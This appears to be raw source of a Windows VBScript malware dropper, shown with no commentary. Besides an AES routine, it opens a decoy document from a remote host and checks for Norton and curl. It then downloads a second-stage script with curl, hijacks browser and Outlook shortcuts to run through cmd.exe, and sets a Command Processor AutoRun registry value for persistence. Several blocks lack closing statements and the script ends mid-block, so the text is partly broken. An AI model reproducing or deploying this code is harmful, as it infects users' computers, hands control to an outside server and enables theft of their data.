Dim isProcessRunning
Dim Result
Dim dd
Dim aaa
Function Modi(a0)
Modi = ""
For ix = 1 To Len(a0)
aa = Mid(a0, ix, 1)
bb = "_"
If Asc(aa) > 47 And Asc(aa) < 58 Then
bb = aa
End If
If Asc(aa) > 64 And Asc(aa) < 91 Then
bb = aa
End If
If Asc(aa) > 96 And Asc(aa) < 123 Then
bb = aa
End If
If Asc(aa) = 46 Then
bb = aa
End If
Modi = Modi + bb
Next
End Function
Function AES(sPlain, sPassIn)
Dim sbox, sboxinv, rcon
Dim g2, g3, g9, g11, g13, g14
g2 = Array( _
&h00,&h02,&h04,&h06,&h08,&h0a,&h0c,&h0e,&h10,&h12,&h14,&h16,&h18,&h1a,&h1c,&h1e, _
&h20,&h22,&h24,&h26,&h28,&h2a,&h2c,&h2e,&h30,&h32,&h34,&h36,&h38,&h3a,&h3c,&h3e, _
&h40,&h42,&h44,&h46,&h48,&h4a,&h4c,&h4e,&h50,&h52,&h54,&h56,&h58,&h5a,&h5c,&h5e, _
&h60,&h62,&h64,&h66,&h68,&h6a,&h6c,&h6e,&h70,&h72,&h74,&h76,&h78,&h7a,&h7c,&h7e, _
&h80,&h82,&h84,&h86,&h88,&h8a,&h8c,&h8e,&h90,&h92,&h94,&h96,&h98,&h9a,&h9c,&h9e, _
&ha0,&ha2,&ha4,&ha6,&ha8,&haa,&hac,&hae,&hb0,&hb2,&hb4,&hb6,&hb8,&hba,&hbc,&hbe, _
&hc0,&hc2,&hc4,&hc6,&hc8,&hca,&hcc,&hce,&hd0,&hd2,&hd4,&hd6,&hd8,&hda,&hdc,&hde, _
&he0,&he2,&he4,&he6,&he8,&hea,&hec,&hee,&hf0,&hf2,&hf4,&hf6,&hf8,&hfa,&hfc,&hfe, _
&h1b,&h19,&h1f,&h1d,&h13,&h11,&h17,&h15,&h0b,&h09,&h0f,&h0d,&h03,&h01,&h07,&h05, _
&h3b,&h39,&h3f,&h3d,&h33,&h31,&h37,&h35,&h2b,&h29,&h2f,&h2d,&h23,&h21,&h27,&h25, _
&h5b,&h59,&h5f,&h5d,&h53,&h51,&h57,&h55,&h4b,&h49,&h4f,&h4d,&h43,&h41,&h47,&h45, _
&h7b,&h79,&h7f,&h7d,&h73,&h71,&h77,&h75,&h6b,&h69,&h6f,&h6d,&h63,&h61,&h67,&h65, _
&h9b,&h99,&h9f,&h9d,&h93,&h91,&h97,&h95,&h8b,&h89,&h8f,&h8d,&h83,&h81,&h87,&h85, _
&hbb,&hb9,&hbf,&hbd,&hb3,&hb1,&hb7,&hb5,&hab,&ha9,&haf,&had,&ha3,&ha1,&ha7,&ha5, _
&hdb,&hd9,&hdf,&hdd,&hd3,&hd1,&hd7,&hd5,&hcb,&hc9,&hcf,&hcd,&hc3,&hc1,&hc7,&hc5, _
&hfb,&hf9,&hff,&hfd,&hf3,&hf1,&hf7,&hf5,&heb,&he9,&hef,&hed,&he3,&he1,&he7,&he5)
g3 = Array( _
&h00,&h03,&h06,&h05,&h0c,&h0f,&h0a,&h09,&h18,&h1b,&h1e,&h1d,&h14,&h17,&h12,&h11, _
&h30,&h33,&h36,&h35,&h3c,&h3f,&h3a,&h39,&h28,&h2b,&h2e,&h2d,&h24,&h27,&h22,&h21, _
&h60,&h63,&h66,&h65,&h6c,&h6f,&h6a,&h69,&h78,&h7b,&h7e,&h7d,&h74,&h77,&h72,&h71, _
&h50,&h53,&h56,&h55,&h5c,&h5f,&h5a,&h59,&h48,&h4b,&h4e,&h4d,&h44,&h47,&h42,&h41, _
&hc0,&hc3,&hc6,&hc5,&hcc,&hcf,&hca,&hc9,&hd8,&hdb,&hde,&hdd,&hd4,&hd7,&hd2,&hd1, _
&hf0,&hf3,&hf6,&hf5,&hfc,&hff,&hfa,&hf9,&he8,&heb,&hee,&hed,&he4,&he7,&he2,&he1, _
&ha0,&ha3,&ha6,&ha5,&hac,&haf,&haa,&ha9,&hb8,&hbb,&hbe,&hbd,&hb4,&hb7,&hb2,&hb1, _
&h90,&h93,&h96,&h95,&h9c,&h9f,&h9a,&h99,&h88,&h8b,&h8e,&h8d,&h84,&h87,&h82,&h81, _
&h9b,&h98,&h9d,&h9e,&h97,&h94,&h91,&h92,&h83,&h80,&h85,&h86,&h8f,&h8c,&h89,&h8a, _
&hab,&ha8,&had,&hae,&ha7,&ha4,&ha1,&ha2,&hb3,&hb0,&hb5,&hb6,&hbf,&hbc,&hb9,&hba, _
&hfb,&hf8,&hfd,&hfe,&hf7,&hf4,&hf1,&hf2,&he3,&he0,&he5,&he6,&hef,&hec,&he9,&hea, _
&hcb,&hc8,&hcd,&hce,&hc7,&hc4,&hc1,&hc2,&hd3,&hd0,&hd5,&hd6,&hdf,&hdc,&hd9,&hda, _
&h5b,&h58,&h5d,&h5e,&h57,&h54,&h51,&h52,&h43,&h40,&h45,&h46,&h4f,&h4c,&h49,&h4a, _
&h6b,&h68,&h6d,&h6e,&h67,&h64,&h61,&h62,&h73,&h70,&h75,&h76,&h7f,&h7c,&h79,&h7a, _
&h3b,&h38,&h3d,&h3e,&h37,&h34,&h31,&h32,&h23,&h20,&h25,&h26,&h2f,&h2c,&h29,&h2a, _
&h0b,&h08,&h0d,&h0e,&h07,&h04,&h01,&h02,&h13,&h10,&h15,&h16,&h1f,&h1c,&h19,&h1a)
g9 = Array( _
&h00,&h09,&h12,&h1b,&h24,&h2d,&h36,&h3f,&h48,&h41,&h5a,&h53,&h6c,&h65,&h7e,&h77, _
&h90,&h99,&h82,&h8b,&hb4,&hbd,&ha6,&haf,&hd8,&hd1,&hca,&hc3,&hfc,&hf5,&hee,&he7, _
&h3b,&h32,&h29,&h20,&h1f,&h16,&h0d,&h04,&h73,&h7a,&h61,&h68,&h57,&h5e,&h45,&h4c, _
&hab,&ha2,&hb9,&hb0,&h8f,&h86,&h9d,&h94,&he3,&hea,&hf1,&hf8,&hc7,&hce,&hd5,&hdc, _
&h76,&h7f,&h64,&h6d,&h52,&h5b,&h40,&h49,&h3e,&h37,&h2c,&h25,&h1a,&h13,&h08,&h01, _
&he6,&hef,&hf4,&hfd,&hc2,&hcb,&hd0,&hd9,&hae,&ha7,&hbc,&hb5,&h8a,&h83,&h98,&h91, _
&h4d,&h44,&h5f,&h56,&h69,&h60,&h7b,&h72,&h05,&h0c,&h17,&h1e,&h21,&h28,&h33,&h3a, _
&hdd,&hd4,&hcf,&hc6,&hf9,&hf0,&heb,&he2,&h95,&h9c,&h87,&h8e,&hb1,&hb8,&ha3,&haa, _
&hec,&he5,&hfe,&hf7,&hc8,&hc1,&hda,&hd3,&ha4,&had,&hb6,&hbf,&h80,&h89,&h92,&h9b, _
&h7c,&h75,&h6e,&h67,&h58,&h51,&h4a,&h43,&h34,&h3d,&h26,&h2f,&h10,&h19,&h02,&h0b, _
&hd7,&hde,&hc5,&hcc,&hf3,&hfa,&he1,&he8,&h9f,&h96,&h8d,&h84,&hbb,&hb2,&ha9,&ha0, _
&h47,&h4e,&h55,&h5c,&h63,&h6a,&h71,&h78,&h0f,&h06,&h1d,&h14,&h2b,&h22,&h39,&h30, _
&h9a,&h93,&h88,&h81,&hbe,&hb7,&hac,&ha5,&hd2,&hdb,&hc0,&hc9,&hf6,&hff,&he4,&hed, _
&h0a,&h03,&h18,&h11,&h2e,&h27,&h3c,&h35,&h42,&h4b,&h50,&h59,&h66,&h6f,&h74,&h7d, _
&ha1,&ha8,&hb3,&hba,&h85,&h8c,&h97,&h9e,&he9,&he0,&hfb,&hf2,&hcd,&hc4,&hdf,&hd6, _
&h31,&h38,&h23,&h2a,&h15,&h1c,&h07,&h0e,&h79,&h70,&h6b,&h62,&h5d,&h54,&h4f,&h46)
g11 = Array( _
&h00,&h0b,&h16,&h1d,&h2c,&h27,&h3a,&h31,&h58,&h53,&h4e,&h45,&h74,&h7f,&h62,&h69, _
&hb0,&hbb,&ha6,&had,&h9c,&h97,&h8a,&h81,&he8,&he3,&hfe,&hf5,&hc4,&hcf,&hd2,&hd9, _
&h7b,&h70,&h6d,&h66,&h57,&h5c,&h41,&h4a,&h23,&h28,&h35,&h3e,&h0f,&h04,&h19,&h12, _
&hcb,&hc0,&hdd,&hd6,&he7,&hec,&hf1,&hfa,&h93,&h98,&h85,&h8e,&hbf,&hb4,&ha9,&ha2, _
&hf6,&hfd,&he0,&heb,&hda,&hd1,&hcc,&hc7,&hae,&ha5,&hb8,&hb3,&h82,&h89,&h94,&h9f, _
&h46,&h4d,&h50,&h5b,&h6a,&h61,&h7c,&h77,&h1e,&h15,&h08,&h03,&h32,&h39,&h24,&h2f, _
&h8d,&h86,&h9b,&h90,&ha1,&haa,&hb7,&hbc,&hd5,&hde,&hc3,&hc8,&hf9,&hf2,&hef,&he4, _
&h3d,&h36,&h2b,&h20,&h11,&h1a,&h07,&h0c,&h65,&h6e,&h73,&h78,&h49,&h42,&h5f,&h54, _
&hf7,&hfc,&he1,&hea,&hdb,&hd0,&hcd,&hc6,&haf,&ha4,&hb9,&hb2,&h83,&h88,&h95,&h9e, _
&h47,&h4c,&h51,&h5a,&h6b,&h60,&h7d,&h76,&h1f,&h14,&h09,&h02,&h33,&h38,&h25,&h2e, _
&h8c,&h87,&h9a,&h91,&ha0,&hab,&hb6,&hbd,&hd4,&hdf,&hc2,&hc9,&hf8,&hf3,&hee,&he5, _
&h3c,&h37,&h2a,&h21,&h10,&h1b,&h06,&h0d,&h64,&h6f,&h72,&h79,&h48,&h43,&h5e,&h55, _
&h01,&h0a,&h17,&h1c,&h2d,&h26,&h3b,&h30,&h59,&h52,&h4f,&h44,&h75,&h7e,&h63,&h68, _
&hb1,&hba,&ha7,&hac,&h9d,&h96,&h8b,&h80,&he9,&he2,&hff,&hf4,&hc5,&hce,&hd3,&hd8, _
&h7a,&h71,&h6c,&h67,&h56,&h5d,&h40,&h4b,&h22,&h29,&h34,&h3f,&h0e,&h05,&h18,&h13, _
&hca,&hc1,&hdc,&hd7,&he6,&hed,&hf0,&hfb,&h92,&h99,&h84,&h8f,&hbe,&hb5,&ha8,&ha3)
g13 = Array( _
&h00,&h0d,&h1a,&h17,&h34,&h39,&h2e,&h23,&h68,&h65,&h72,&h7f,&h5c,&h51,&h46,&h4b, _
&hd0,&hdd,&hca,&hc7,&he4,&he9,&hfe,&hf3,&hb8,&hb5,&ha2,&haf,&h8c,&h81,&h96,&h9b, _
&hbb,&hb6,&ha1,&hac,&h8f,&h82,&h95,&h98,&hd3,&hde,&hc9,&hc4,&he7,&hea,&hfd,&hf0, _
&h6b,&h66,&h71,&h7c,&h5f,&h52,&h45,&h48,&h03,&h0e,&h19,&h14,&h37,&h3a,&h2d,&h20, _
&h6d,&h60,&h77,&h7a,&h59,&h54,&h43,&h4e,&h05,&h08,&h1f,&h12,&h31,&h3c,&h2b,&h26, _
&hbd,&hb0,&ha7,&haa,&h89,&h84,&h93,&h9e,&hd5,&hd8,&hcf,&hc2,&he1,&hec,&hfb,&hf6, _
&hd6,&hdb,&hcc,&hc1,&he2,&hef,&hf8,&hf5,&hbe,&hb3,&ha4,&ha9,&h8a,&h87,&h90,&h9d, _
&h06,&h0b,&h1c,&h11,&h32,&h3f,&h28,&h25,&h6e,&h63,&h74,&h79,&h5a,&h57,&h40,&h4d, _
&hda,&hd7,&hc0,&hcd,&hee,&he3,&hf4,&hf9,&hb2,&hbf,&ha8,&ha5,&h86,&h8b,&h9c,&h91, _
&h0a,&h07,&h10,&h1d,&h3e,&h33,&h24,&h29,&h62,&h6f,&h78,&h75,&h56,&h5b,&h4c,&h41, _
&h61,&h6c,&h7b,&h76,&h55,&h58,&h4f,&h42,&h09,&h04,&h13,&h1e,&h3d,&h30,&h27,&h2a, _
&hb1,&hbc,&hab,&ha6,&h85,&h88,&h9f,&h92,&hd9,&hd4,&hc3,&hce,&hed,&he0,&hf7,&hfa, _
&hb7,&hba,&had,&ha0,&h83,&h8e,&h99,&h94,&hdf,&hd2,&hc5,&hc8,&heb,&he6,&hf1,&hfc, _
&h67,&h6a,&h7d,&h70,&h53,&h5e,&h49,&h44,&h0f,&h02,&h15,&h18,&h3b,&h36,&h21,&h2c, _
&h0c,&h01,&h16,&h1b,&h38,&h35,&h22,&h2f,&h64,&h69,&h7e,&h73,&h50,&h5d,&h4a,&h47, _
&hdc,&hd1,&hc6,&hcb,&he8,&he5,&hf2,&hff,&hb4,&hb9,&hae,&ha3,&h80,&h8d,&h9a,&h97)
g14 = Array( _
&h00,&h0e,&h1c,&h12,&h38,&h36,&h24,&h2a,&h70,&h7e,&h6c,&h62,&h48,&h46,&h54,&h5a, _
&he0,&hee,&hfc,&hf2,&hd8,&hd6,&hc4,&hca,&h90,&h9e,&h8c,&h82,&ha8,&ha6,&hb4,&hba, _
&hdb,&hd5,&hc7,&hc9,&he3,&hed,&hff,&hf1,&hab,&ha5,&hb7,&hb9,&h93,&h9d,&h8f,&h81, _
&h3b,&h35,&h27,&h29,&h03,&h0d,&h1f,&h11,&h4b,&h45,&h57,&h59,&h73,&h7d,&h6f,&h61, _
&had,&ha3,&hb1,&hbf,&h95,&h9b,&h89,&h87,&hdd,&hd3,&hc1,&hcf,&he5,&heb,&hf9,&hf7, _
&h4d,&h43,&h51,&h5f,&h75,&h7b,&h69,&h67,&h3d,&h33,&h21,&h2f,&h05,&h0b,&h19,&h17, _
&h76,&h78,&h6a,&h64,&h4e,&h40,&h52,&h5c,&h06,&h08,&h1a,&h14,&h3e,&h30,&h22,&h2c, _
&h96,&h98,&h8a,&h84,&hae,&ha0,&hb2,&hbc,&he6,&he8,&hfa,&hf4,&hde,&hd0,&hc2,&hcc, _
&h41,&h4f,&h5d,&h53,&h79,&h77,&h65,&h6b,&h31,&h3f,&h2d,&h23,&h09,&h07,&h15,&h1b, _
&ha1,&haf,&hbd,&hb3,&h99,&h97,&h85,&h8b,&hd1,&hdf,&hcd,&hc3,&he9,&he7,&hf5,&hfb, _
&h9a,&h94,&h86,&h88,&ha2,&hac,&hbe,&hb0,&hea,&he4,&hf6,&hf8,&hd2,&hdc,&hce,&hc0, _
&h7a,&h74,&h66,&h68,&h42,&h4c,&h5e,&h50,&h0a,&h04,&h16,&h18,&h32,&h3c,&h2e,&h20, _
&hec,&he2,&hf0,&hfe,&hd4,&hda,&hc8,&hc6,&h9c,&h92,&h80,&h8e,&ha4,&haa,&hb8,&hb6, _
&h0c,&h02,&h10,&h1e,&h34,&h3a,&h28,&h26,&h7c,&h72,&h60,&h6e,&h44,&h4a,&h58,&h56, _
&h37,&h39,&h2b,&h25,&h0f,&h01,&h13,&h1d,&h47,&h49,&h5b,&h55,&h7f,&h71,&h63,&h6d, _
&hd7,&hd9,&hcb,&hc5,&hef,&he1,&hf3,&hfd,&ha7,&ha9,&hbb,&hb5,&h9f,&h91,&h83,&h8d)
sbox = Array( _
&h63, &h7c, &h77, &h7b, &hf2, &h6b, &h6f, &hc5, &h30, &h01, &h67, &h2b, &hfe, &hd7, &hab, &h76, _
&hca, &h82, &hc9, &h7d, &hfa, &h59, &h47, &hf0, &had, &hd4, &ha2, &haf, &h9c, &ha4, &h72, &hc0, _
&hb7, &hfd, &h93, &h26, &h36, &h3f, &hf7, &hcc, &h34, &ha5, &he5, &hf1, &h71, &hd8, &h31, &h15, _
&h04, &hc7, &h23, &hc3, &h18, &h96, &h05, &h9a, &h07, &h12, &h80, &he2, &heb, &h27, &hb2, &h75, _
&h09, &h83, &h2c, &h1a, &h1b, &h6e, &h5a, &ha0, &h52, &h3b, &hd6, &hb3, &h29, &he3, &h2f, &h84, _
&h53, &hd1, &h00, &hed, &h20, &hfc, &hb1, &h5b, &h6a, &hcb, &hbe, &h39, &h4a, &h4c, &h58, &hcf, _
&hd0, &hef, &haa, &hfb, &h43, &h4d, &h33, &h85, &h45, &hf9, &h02, &h7f, &h50, &h3c, &h9f, &ha8, _
&h51, &ha3, &h40, &h8f, &h92, &h9d, &h38, &hf5, &hbc, &hb6, &hda, &h21, &h10, &hff, &hf3, &hd2, _
&hcd, &h0c, &h13, &hec, &h5f, &h97, &h44, &h17, &hc4, &ha7, &h7e, &h3d, &h64, &h5d, &h19, &h73, _
&h60, &h81, &h4f, &hdc, &h22, &h2a, &h90, &h88, &h46, &hee, &hb8, &h14, &hde, &h5e, &h0b, &hdb, _
&he0, &h32, &h3a, &h0a, &h49, &h06, &h24, &h5c, &hc2, &hd3, &hac, &h62, &h91, &h95, &he4, &h79, _
&he7, &hc8, &h37, &h6d, &h8d, &hd5, &h4e, &ha9, &h6c, &h56, &hf4, &hea, &h65, &h7a, &hae, &h08, _
&hba, &h78, &h25, &h2e, &h1c, &ha6, &hb4, &hc6, &he8, &hdd, &h74, &h1f, &h4b, &hbd, &h8b, &h8a, _
&h70, &h3e, &hb5, &h66, &h48, &h03, &hf6, &h0e, &h61, &h35, &h57, &hb9, &h86, &hc1, &h1d, &h9e, _
&he1, &hf8, &h98, &h11, &h69, &hd9, &h8e, &h94, &h9b, &h1e, &h87, &he9, &hce, &h55, &h28, &hdf, _
&h8c, &ha1, &h89, &h0d, &hbf, &he6, &h42, &h68, &h41, &h99, &h2d, &h0f, &hb0, &h54, &hbb, &h16)
sboxinv = Array( _
&h52, &h09, &h6a, &hd5, &h30, &h36, &ha5, &h38, &hbf, &h40, &ha3, &h9e, &h81, &hf3, &hd7, &hfb, _
&h7c, &he3, &h39, &h82, &h9b, &h2f, &hff, &h87, &h34, &h8e, &h43, &h44, &hc4, &hde, &he9, &hcb, _
&h54, &h7b, &h94, &h32, &ha6, &hc2, &h23, &h3d, &hee, &h4c, &h95, &h0b, &h42, &hfa, &hc3, &h4e, _
&h08, &h2e, &ha1, &h66, &h28, &hd9, &h24, &hb2, &h76, &h5b, &ha2, &h49, &h6d, &h8b, &hd1, &h25, _
&h72, &hf8, &hf6, &h64, &h86, &h68, &h98, &h16, &hd4, &ha4, &h5c, &hcc, &h5d, &h65, &hb6, &h92, _
&h6c, &h70, &h48, &h50, &hfd, &hed, &hb9, &hda, &h5e, &h15, &h46, &h57, &ha7, &h8d, &h9d, &h84, _
&h90, &hd8, &hab, &h00, &h8c, &hbc, &hd3, &h0a, &hf7, &he4, &h58, &h05, &hb8, &hb3, &h45, &h06, _
&hd0, &h2c, &h1e, &h8f, &hca, &h3f, &h0f, &h02, &hc1, &haf, &hbd, &h03, &h01, &h13, &h8a, &h6b, _
&h3a, &h91, &h11, &h41, &h4f, &h67, &hdc, &hea, &h97, &hf2, &hcf, &hce, &hf0, &hb4, &he6, &h73, _
&h96, &hac, &h74, &h22, &he7, &had, &h35, &h85, &he2, &hf9, &h37, &he8, &h1c, &h75, &hdf, &h6e, _
&h47, &hf1, &h1a, &h71, &h1d, &h29, &hc5, &h89, &h6f, &hb7, &h62, &h0e, &haa, &h18, &hbe, &h1b, _
&hfc, &h56, &h3e, &h4b, &hc6, &hd2, &h79, &h20, &h9a, &hdb, &hc0, &hfe, &h78, &hcd, &h5a, &hf4, _
&h1f, &hdd, &ha8, &h33, &h88, &h07, &hc7, &h31, &hb1, &h12, &h10, &h59, &h27, &h80, &hec, &h5f, _
&h60, &h51, &h7f, &ha9, &h19, &hb5, &h4a, &h0d, &h2d, &he5, &h7a, &h9f, &h93, &hc9, &h9c, &hef, _
&ha0, &he0, &h3b, &h4d, &hae, &h2a, &hf5, &hb0, &hc8, &heb, &hbb, &h3c, &h83, &h53, &h99, &h61, _
&h17, &h2b, &h04, &h7e, &hba, &h77, &hd6, &h26, &he1, &h69, &h14, &h63, &h55, &h21, &h0c, &h7d)
rcon = Array( _
&h8d, &h01, &h02, &h04, &h08, &h10, &h20, &h40, &h80, &h1b, &h36, &h6c, &hd8, &hab, &h4d, &h9a, _
&h2f, &h5e, &hbc, &h63, &hc6, &h97, &h35, &h6a, &hd4, &hb3, &h7d, &hfa, &hef, &hc5, &h91, &h39, _
&h72, &he4, &hd3, &hbd, &h61, &hc2, &h9f, &h25, &h4a, &h94, &h33, &h66, &hcc, &h83, &h1d, &h3a, _
&h74, &he8, &hcb, &h8d, &h01, &h02, &h04, &h08, &h10, &h20, &h40, &h80, &h1b, &h36, &h6c, &hd8, _
&hab, &h4d, &h9a, &h2f, &h5e, &hbc, &h63, &hc6, &h97, &h35, &h6a, &hd4, &hb3, &h7d, &hfa, &hef, _
&hc5, &h91, &h39, &h72, &he4, &hd3, &hbd, &h61, &hc2, &h9f, &h25, &h4a, &h94, &h33, &h66, &hcc, _
&h83, &h1d, &h3a, &h74, &he8, &hcb, &h8d, &h01, &h02, &h04, &h08, &h10, &h20, &h40, &h80, &h1b, _
&h36, &h6c, &hd8, &hab, &h4d, &h9a, &h2f, &h5e, &hbc, &h63, &hc6, &h97, &h35, &h6a, &hd4, &hb3, _
&h7d, &hfa, &hef, &hc5, &h91, &h39, &h72, &he4, &hd3, &hbd, &h61, &hc2, &h9f, &h25, &h4a, &h94, _
&h33, &h66, &hcc, &h83, &h1d, &h3a, &h74, &he8, &hcb, &h8d, &h01, &h02, &h04, &h08, &h10, &h20, _
&h40, &h80, &h1b, &h36, &h6c, &hd8, &hab, &h4d, &h9a, &h2f, &h5e, &hbc, &h63, &hc6, &h97, &h35, _
&h6a, &hd4, &hb3, &h7d, &hfa, &hef, &hc5, &h91, &h39, &h72, &he4, &hd3, &hbd, &h61, &hc2, &h9f, _
&h25, &h4a, &h94, &h33, &h66, &hcc, &h83, &h1d, &h3a, &h74, &he8, &hcb, &h8d, &h01, &h02, &h04, _
&h08, &h10, &h20, &h40, &h80, &h1b, &h36, &h6c, &hd8, &hab, &h4d, &h9a, &h2f, &h5e, &hbc, &h63, _
&hc6, &h97, &h35, &h6a, &hd4, &hb3, &h7d, &hfa, &hef, &hc5, &h91, &h39, &h72, &he4, &hd3, &hbd, _
&h61, &hc2, &h9f, &h25, &h4a, &h94, &h33, &h66, &hcc, &h83, &h1d, &h3a, &h74, &he8, &hcb)
Dim expandedKey, block(16), aesKey(32), i, isDone, j, ii,blockTemp(10000)
Dim sPass, sCipher, sTemp
Dim oFile1, oFS
Dim x, r, y, temp(4), intTemp,cc,cclen
cc = Split(sPlain,"&",-1,1)
cclen = ubound(cc)
For i = 0 To cclen - 1
blockTemp(i) = Cint(cc(i+1))
Next
For i = cclen To 10000
blockTemp(i) = 0
Next
For i = 0 To (Len(sPassIn) - 1)
aesKey(i) = Asc(Mid(sPassIn, i + 1, 1))
Next
For i = Len(sPassIn) To 31
aesKey(i) = 0
Next
expandedKey = expandKey(aesKey, sbox, rcon)
sCipher = ""
j = 0
isDone = False
Do Until isDone
For i = 0 To 15
ii=(i Mod 4) * 4 + (i \ 4)
block(i) = blockTemp(ii+j)
Next
If j >= cclen Then
isDone = True
End If
j = j + 16
r= 0
For i = 0 To 15
block(i) = block(i) Xor expandedKey((i Mod 4) * 4 + (i \ 4))
Next
For x = 1 To 13
block(0) = sbox(block(0))
block(1) = sbox(block(1))
block(2) = sbox(block(2))
block(3) = sbox(block(3))
intTemp = sbox(block(4))
block(4) = sbox(block(5))
block(5) = sbox(block(6))
block(6) = sbox(block(7))
block(7) = intTemp
intTemp = sbox(block(8))
block(8) = sbox(block(10))
block(10) = intTemp
intTemp = sbox(block(9))
block(9) = sbox(block(11))
block(11) = intTemp
intTemp = sbox(block(12))
block(12) = sbox(block(15))
block(15) = sbox(block(14))
block(14) = sbox(block(13))
block(13) = intTemp
r = x * 16
For i = 0 To 3
temp(0) = block(i)
temp(1) = block(i+4)
temp(2) = block(i+8)
temp(3) = block(i+12)
block(i) = g2(temp(0)) Xor temp(3) Xor temp(2) Xor g3(temp(1)) Xor expandedKey(r+i*4)
block(i+4) = g2(temp(1)) Xor temp(0) Xor temp(3) Xor g3(temp(2)) Xor expandedKey(r+i*4+1)
block(i+8) = g2(temp(2)) Xor temp(1) Xor temp(0) Xor g3(temp(3)) Xor expandedKey(r+i*4+2)
block(i+12) = g2(temp(3)) Xor temp(2) Xor temp(1) Xor g3(temp(0)) Xor expandedKey(r+i*4+3)
Next
Next
block(0) = sbox(block(0)) Xor expandedKey(224)
block(1) = sbox(block(1)) Xor expandedKey(228)
block(2) = sbox(block(2)) Xor expandedKey(232)
block(3) = sbox(block(3)) Xor expandedKey(236)
intTemp = sbox(block(4)) Xor expandedKey(237)
block(4) = sbox(block(5)) Xor expandedKey(225)
block(5) = sbox(block(6)) Xor expandedKey(229)
block(6) = sbox(block(7)) Xor expandedKey(233)
block(7) = intTemp
intTemp = sbox(block(8)) Xor expandedKey(234)
block(8) = sbox(block(10)) Xor expandedKey(226)
block(10) = intTemp
intTemp = sbox(block(9)) Xor expandedKey(238)
block(9) = sbox(block(11)) Xor expandedKey(230)
block(11) = intTemp
intTemp = sbox(block(12)) Xor expandedKey(231)
block(12) = sbox(block(15)) Xor expandedKey(227)
block(15) = sbox(block(14)) Xor expandedKey(239)
block(14) = sbox(block(13)) Xor expandedKey(235)
block(13) = intTemp
For i = 0 To 15
sCipher = sCipher & Chr(block((i Mod 4) * 4 + (i \ 4)))
Next
Loop
AES = sCipher
End Function
Function keyScheduleCore(row, ByVal a, box, rcon)
Dim result(4), i
For i = 0 To 3
result(i) = box(row((i + 5) Mod 4))
Next
result(0) = result(0) Xor rcon(a)
keyScheduleCore = result
End Function
Function expandKey(key, box, rcon)
Dim rConIter, temp, i, result(240)
ReDim temp(4)
rConIter = 1
For i = 0 To 31
result(i) = key(i)
Next
For i = 32 To 239 Step 4
temp(0) = result(i - 4)
temp(1) = result(i - 3)
temp(2) = result(i - 2)
temp(3) = result(i - 1)
If i Mod 32 = 0 Then
temp = keyScheduleCore(temp, rConIter, box, rcon)
rConIter = rConIter + 1
End If
If i Mod 32 = 16 Then
temp(0) = box(temp(0))
temp(1) = box(temp(1))
temp(2) = box(temp(2))
temp(3) = box(temp(3))
End If
result(i) = result(i-32) Xor temp(0)
result(i+1) = result(i-31) Xor temp(1)
result(i+2) = result(i-30) Xor temp(2)
result(i+3) = result(i-29) Xor temp(3)
Next
exPandKey = result
End Function
Sub wsxrfv(strFolderPath)
On Error Resume Next
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set objFolder = objFSO.GetFolder(strFolderPath)
For Each objFile In objFolder.Files
filespec=strFolderPath+"\"+objFile.Name
If LCase(Right(objFile.Name,4))=".lnk" Then
Set lnk = ws.CreateShortcut(filespec)
path=lnk.TargetPath
arg= lnk.Arguments
icon=LCase(lnk.IconLocation)
If Right(icon,4)=".exe" Then
icon=icon+",0"
End If
icon1=Left(icon,InStr(icon,",")-1)
If path="" And Right(icon1,4)=".exe" Then
path=icon1
End If
If Left(icon,1)="," Then
icon=path+icon
End If
file=LCase(Right(path,Len(path)-InStrRev(path,"\")))
If file="msedge.exe" Or file="chrome.exe" Or file="outlook.exe" Or file="whale.exe" Or file="firefox.exe" Then
dir0=Left(path,InStrRev(path,"\"))
lnk.Arguments ="/c start "+ file +" " +arg + aaa
lnk.TargetPath = "cmd.exe"
lnk.WorkingDirectory = dir0
lnk.WindowStyle = 7
lnk.IconLocation=icon
lnk.Save
End If
End If
For Each objSubFolder In objFolder.SubFolders
Call wsxrfv(objSubFolder.Path)
End Sub
Sub wsxrfv0(strFolderPath)
On Error Resume Next
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
Set objFolder = objFSO.GetFolder(strFolderPath)
For Each objFile In objFolder.Files
filespec=strFolderPath+"\"+objFile.Name
If LCase(Right(objFile.Name,4))=".lnk" Then
Set lnk = ws.CreateShortcut(filespec)
path=lnk.TargetPath
icon=LCase(lnk.IconLocation)
If Right(icon,4)=".exe" Then
icon=icon+",0"
End If
icon1=Left(icon,InStr(icon,",")-1)
If path="" And Right(icon1,4)=".exe" Then
path=icon1
End If
If Left(icon,1)="," Then
icon=path+icon
End If
file=LCase(Right(path,Len(path)-InStrRev(path,"\")))
If file="msedge.exe" Or file="chrome.exe" Or file="outlook.exe" Or file="whale.exe" Or file="firefox.exe" Then
tmp=objFile.Name
objFSO.CopyFile filespec, ws.SpecialFolders("appdata")+"\1"+tmp,True
objFSO.DeleteFile filespec
objFSO.CopyFile ws.SpecialFolders("appdata")+"\1"+tmp, ws.SpecialFolders("Desktop")+"\"+tmp,True
End If
End If
End Sub
On Error Resume Next
Result=""
aaa = ""
isProcessRunning = ""
Set ws = CreateObject("WScript.Shell")
Set WMI = GetObject("WinMgmts:")
Set Objs = WMI.InstancesOf("Win32_Battery")
Set fs = CreateObject("Scripting.FileSystemObject")
pp="cmd.exe /c explorer ""https://grekop.online/brad/share.docx"""
re=ws.run(pp,0,true)
wscript.sleep(1000)
For Each Obj In Objs
isProcessRunning = isProcessRunning & Obj.Description & " "
Set Objs = WMI.InstancesOf("Win32_Process")
For Each Obj In Objs
isProcessRunning = isProcessRunning & Obj.Description & " "
If fs.FileExists("c:\windows\system32\curl.exe") Or fs.FileExists("c:\Windows\sysnative\curl.exe") Then
Result = Result+"curl ok "+"ENTER"
Result = Result+"curl no "+"ENTER"
End If
Result = Result + "ENTER":
If InStr(isProcessRunning,"nortonsecurity.exe") Then
Result = Result+"norton "+"ENTER"
aa="curl -o ""c:\users\public\videos\video.vbs"" https://grekop.online/brad/ca.php?na=reg.gif"
a=ws.run(aa,0,true)
aaa=" "
wsxrfv0 ("C:\Users\Public\Desktop")
wsxrfv (ws.SpecialFolders("Desktop"))
wsxrfv (ws.SpecialFolders("appdata") + "\Microsoft\Internet Explorer\Quick Launch\User Pinned")
re=ws.run("cmd.exe /c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Command Processor"" /v AutoRun /t REG_SZ /d ""wscript.exe c:\users\public\videos\video.vbs"" /f",0,true)
Result = Result + "short ok "
If fs.FileExists("c:\users\public\videos\video.vbs") Then
Result = Result+"video vbs ok "+"ENTER"
